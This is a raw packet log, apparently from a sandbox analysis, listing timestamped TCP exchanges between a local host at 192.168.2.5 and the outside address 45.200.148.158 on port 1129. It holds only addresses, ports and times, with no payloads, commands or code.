Jan 5, 2025 17:49:12.505892992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.505904913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.505914927 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.505943060 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.506001949 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.506021023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.506032944 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.506043911 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.506050110 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.506057978 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.506062031 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.506103992 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.517220020 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.517242908 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.517252922 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.517292023 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.518779993 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.518791914 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.518801928 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.518825054 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.518861055 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.519454002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.519464970 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.519478083 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.519488096 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.519500017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.519511938 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.519541025 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.534209967 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534220934 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534231901 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534256935 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.534301996 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.534445047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534498930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534508944 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534523010 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534533024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534545898 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.534573078 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.534796000 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534807920 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534818888 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.534842968 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.534876108 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.535485029 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.535497904 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.535510063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.535521984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.535535097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.535535097 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.535557985 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.586875916 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.587490082 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587511063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587522984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587563038 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.587663889 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587682009 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587693930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587702036 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.587706089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587719917 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587732077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587738991 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.587743044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.587766886 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.587781906 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.599216938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.599230051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.599241018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.599261999 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.600559950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.600569963 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.600584984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.600596905 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.600610018 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.600649118 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.601139069 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.601149082 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.601155996 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.601167917 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.601177931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.601181030 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.601191044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.601224899 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.615559101 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615577936 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615614891 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.615629911 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615642071 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615653992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615673065 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.615679979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615690947 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615715027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.615740061 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.615955114 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615967035 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.615981102 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.616002083 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.616813898 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.616833925 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.616846085 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.616878033 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.616911888 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.616991043 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.617027044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.617038965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.617057085 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.617064953 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.617114067 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.669085979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669118881 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669142008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669153929 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669168949 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669178963 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.669188976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669197083 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.669203043 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669215918 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669228077 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.669233084 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669245958 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.669262886 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.669285059 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.680491924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.680502892 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.680514097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.680540085 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.681708097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.681716919 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.681765079 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.681772947 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.681775093 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.681807995 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.682207108 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.682229996 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.682240963 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.682260036 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.682261944 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.682272911 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.682282925 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.682322979 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.697330952 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697344065 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697374105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697407961 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.697417974 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697431087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697443008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697457075 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.697482109 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.697654009 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697665930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697676897 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697731018 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.697877884 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697899103 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697911024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.697926044 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.697949886 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.698016882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.698029041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.698045969 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.698056936 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.698069096 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.698076010 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.698093891 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.698244095 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.698295116 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.750639915 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750654936 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750677109 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750686884 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750735998 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.750744104 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750756979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750771046 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750773907 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.750801086 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.750814915 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750825882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750838041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750850916 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.750859022 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.750883102 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.762736082 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.762754917 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.762768030 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.762787104 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.762804985 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.763497114 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.763508081 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.763525963 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.763535023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.763564110 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.763582945 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.764117956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.764130116 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.764143944 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.764187098 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.778743029 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778806925 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778819084 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.778820038 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778835058 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778858900 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.778872013 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778888941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778903008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778913021 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.778914928 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.778947115 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.779122114 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779133081 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779151917 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779160976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779176950 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.779206991 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.779674053 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779685020 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779715061 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779730082 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.779725075 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.779762983 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.780204058 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.780255079 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.780272961 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.780282974 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.780293941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.780303955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.780314922 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.780344009 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.780369997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.780380964 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.780422926 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.831943989 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.831969976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.831981897 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832026958 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.832029104 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832040071 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832077026 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.832096100 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832122087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832134962 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832138062 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.832173109 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832176924 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.832340956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.832381010 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.832391024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846904039 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846916914 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846929073 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846941948 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846951008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846951962 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.846962929 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846977949 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.846991062 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.847008944 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.847158909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860265017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860277891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860285997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860330105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860332012 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.860342979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860356092 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860368013 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860388994 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.860414028 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860414982 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.860435963 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860445976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860481977 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.860855103 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860882998 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860893011 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.860897064 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.860937119 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.861361027 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.861373901 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.861385107 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.861412048 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.861506939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.861520052 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.861531973 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.861541986 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.861547947 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.861569881 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.913355112 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913371086 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913394928 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913400888 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913408041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913413048 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.913420916 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913435936 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913448095 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913460016 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913472891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.913506985 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.913521051 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.928034067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.928057909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.928069115 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.928107023 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.928136110 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.928210020 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.928222895 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.928230047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.928241968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.928261995 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.928273916 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.928347111 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942075014 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942085981 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942097902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942111969 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942122936 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942137003 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942158937 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942176104 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942300081 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942313910 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942342997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942347050 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.942383051 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.942384958 CET	49704	1129	192.168.2.5	45.200.148.158
